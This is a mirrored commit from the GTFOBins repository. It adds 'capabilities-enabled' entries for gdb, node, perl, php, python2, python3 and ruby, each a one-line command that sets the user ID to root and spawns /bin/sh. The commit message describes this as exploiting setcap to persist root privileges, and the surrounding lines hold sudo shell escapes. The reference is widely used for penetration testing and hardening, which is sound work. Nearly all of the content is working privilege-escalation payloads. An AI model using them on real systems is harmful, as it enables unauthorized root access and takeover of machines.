mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Add the capabilities-enabled function
This exploits `setcap` to persist root privileges on Linux.
This commit is contained in:
		@@ -12,4 +12,7 @@ functions:
 | 
			
		||||
        gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - code: sudo gdb -nx -ex '!sh' -ex quit
 | 
			
		||||
  capabilities-enabled:
 | 
			
		||||
    - description: Only if it has been compiled with Python support.
 | 
			
		||||
      code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -30,4 +30,7 @@ functions:
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - code: |
 | 
			
		||||
        sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
 | 
			
		||||
  capabilities-enabled:
 | 
			
		||||
    - code: |
 | 
			
		||||
        ./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -12,4 +12,6 @@ functions:
 | 
			
		||||
    - code: ./perl -e 'exec "/bin/sh";'
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - code: sudo perl -e 'exec "/bin/sh";'
 | 
			
		||||
  capabilities-enabled:
 | 
			
		||||
    - code: ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -46,4 +46,8 @@ functions:
 | 
			
		||||
    - code: |
 | 
			
		||||
        CMD="/bin/sh"
 | 
			
		||||
        sudo php -r "system('$CMD');"
 | 
			
		||||
  capabilities-enabled:
 | 
			
		||||
    - code: |
 | 
			
		||||
        CMD="/bin/sh"
 | 
			
		||||
        ./php -r "posix_setuid(0); system('$CMD');"
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -34,4 +34,6 @@ functions:
 | 
			
		||||
    - code: ./python2 -c 'import os; os.system("/bin/sh -p")'
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - code: sudo python2 -c 'import os; os.system("/bin/sh")'
 | 
			
		||||
  capabilities-enabled:
 | 
			
		||||
    - code: ./python2 -c 'import os; os.setuid(0); os.system("/bin/sh")'
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -34,4 +34,6 @@ functions:
 | 
			
		||||
    - code: ./python3 -c 'import os; os.system("/bin/sh -p")'
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - code: sudo python3 -c 'import os; os.system("/bin/sh")'
 | 
			
		||||
  capabilities-enabled:
 | 
			
		||||
    - code: ./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -29,4 +29,6 @@ functions:
 | 
			
		||||
    - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - code: sudo ruby -e 'exec "/bin/sh"'
 | 
			
		||||
  capabilities-enabled:
 | 
			
		||||
    - code: ./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user